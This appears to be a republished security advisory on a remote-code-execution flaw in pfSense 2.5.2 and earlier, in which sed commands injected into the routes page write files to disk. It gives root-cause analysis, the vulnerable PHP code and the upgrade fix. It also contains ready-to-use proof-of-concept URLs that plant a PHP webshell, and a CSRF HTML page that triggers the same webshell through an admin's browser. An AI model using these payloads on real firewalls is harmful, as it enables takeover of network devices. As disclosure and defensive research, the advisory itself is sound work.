Remote Code Execution in pfSense

Remote Code Execution in pfSense <= 2.5.2

Spread the word, be Cyber Aware!

Remote Code Execution (RCE) in pfSense


pfSense allows authenticated users to get information about the routes set in the firewall. The information are retrieved by executing the netstat utility and then its output is parsed via the sed utility. While the common prevention patterns for command injections (i.e. the usage of the escapeshellarg function for the arguments) are in use, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location. This vulnerability could be also exploited pre-authentication as the vulnerable endpoint is also vulnerable to a Cross-Site Request Forgery (CSRF).

Product Description (from vendor)

pfSense® Plus software is the world’s most trusted firewall. The software has garnered the respect and adoration of users worldwide – installed well over three million times. Made possible by open source technology. Made into a robust, reliable, dependable product by Netgate.


CVE-2021-41282Learn more at National Vulnerability Database (NVD)• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information
** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.
Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.
Assigning CNA
Date Record Created
20210915Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.
Phase (Legacy)
Assigned (20210915)


Root Cause Analysis


pfSense while trying to show the routes set in the firewall executes the sed utility with some user-controllable input.
sed – a stream editor – is a powerful utility to perform text transformations and has quite a lot of commands which could be defined as a single command line argument semicolon-separated. The ability of adding multiple commands in one argument is the key for this vulnerability.

What is important to specify before diving into the exploitation details is that pfSense is based on FreeBSD, so all the GNU-specific arguments of sed (e.g. the e/exec argument which could be used to run a system command) are not available.

An excerpt of the vulnerable code follows:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 3135 if (isset($_REQUEST['isAjax'])) { 36 require_once(''); 37 38 $netstat = "/usr/bin/netstat -rW"; 39 if (isset($_REQUEST['IPv6'])) { 40 $netstat .= " -f inet6"; 41 echo "IPv6\n"; 42 } else { 43 $netstat .= " -f inet"; 44 echo "IPv4\n"; 45 46 } 47 if (!isset($_REQUEST['resolve'])) { 48 $netstat .= " -n"; 49 } 50 51 if (!empty($_REQUEST['filter'])) { 52 $netstat .= " | /usr/bin/sed -e " . escapeshellarg("1,3d; 5,\$ { /" . htmlspecialchars($_REQUEST['filter']) . "/!d; };"); 53 } else { 54 $netstat .= " | /usr/bin/sed -e '1,3d'"; 55 } 56 57 if (is_numeric($_REQUEST['limit']) && $_REQUEST['limit'] > 0) { 58 $_REQUEST['limit']++; // Account for the header line 59 $netstat .= " | /usr/bin/head -n {$_REQUEST['limit']}"; 60 } 61 62 echo htmlspecialchars_decode(shell_exec($netstat)); 63 64 exit; 65 }

At line 51-52 it could be seen that if the request contains a filter parameter then its HTML special characters are converted to their HTML entities. Then the input is prefixed and suffixed by some hard-coded sed syntax, and finally everything is escaped by the escapeshellarg function, which prevents sub-commands or other arguments from being injected. At line 62 the command is finally executed.

As mentioned before it is possible to inject arbitrary sed syntax, having the only limitation that the input is encoded via the htmlspecialchars function. This allows to use the s/match/replace/ command to replace part of the netstat output with an arbitrary string and the w /path/to/file command to write the output of the sed command to an arbitrary location.

Wrapping everything together an attacker could set in the filter parameter the following string: .*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23 Which will result in the following command to be run:

/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php
#/!d; };'

As the netstat utility always outputs the Destination string, it was chosen to be replaced with <?php system($_GET["a"]);?> and then the output is written to /usr/local/www/a.php.

### Proof of Concept

  1. Login to pfSense
  2. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance: http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23
  3. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance and notice that the id command has been executed: http://<target>/a.php?a=id


An authenticated attacker could write an arbitrary file to the pfSense disk. This can be abused to write a webshell to execute arbitrary code / commands.

It should be noted that due to a lack of Cross-Site Request Forgery (CSRF) protections for the vulnerable endpoint it is possible for an attacker to trick an authenticated admin into visiting a malicious website to exploit the vulnerability through the victim’s session/browser. More details are available in the Cross-Site Request Forgery advisory.

A proof of concept to exploit the vulnerability through the CSRF follows:

  1. Login to pfSense
  2. Create an HTML file with the following content by replacing <target> with the IP address / domain of the target pfSense instance:
1 2 3 4<meta name="referrer" content="no-referrer"> <script> window.location = "http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\\x3cscript\\x3eif\\x28location.pathname\\x21\\x3d\\x27\\x2fa.php\\x27\\x29\\x7blocation\\x3d\\x27\\x2fa.php\\x3fa\\x3did\\x27\\x7d\\x3c\\x2fscript\\x3e\\x3c\\x3fphp+system($_GET[\\x22a\\x22])\\x3b\\x3f\\x3e/;w+/usr/local/www/a.php%0a%23" </script>
  1. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance and notice the 404 error: http://<target>/a.php?a=id
  2. Host the HTML page created at step 2 on a webserver and visit it in the same browser used for the other steps
  3. Notice that the Arbitrary File Write has been exploited to create a webshell in /usr/local/www/a.php and the victim is redirected to the webshell (http://<target>/a.php?a=id) to execute the id command


Upgrade pfSense CE to version 2.6.0 or pfSense Plus to version 22.01.

Disclosure Timeline


  • Abdel Adim `smaury` Oisfi of Shielder

article pulled from risec cybersecurity rss news feed

Go to news

Submit content

Spread the word, be Cyber Aware!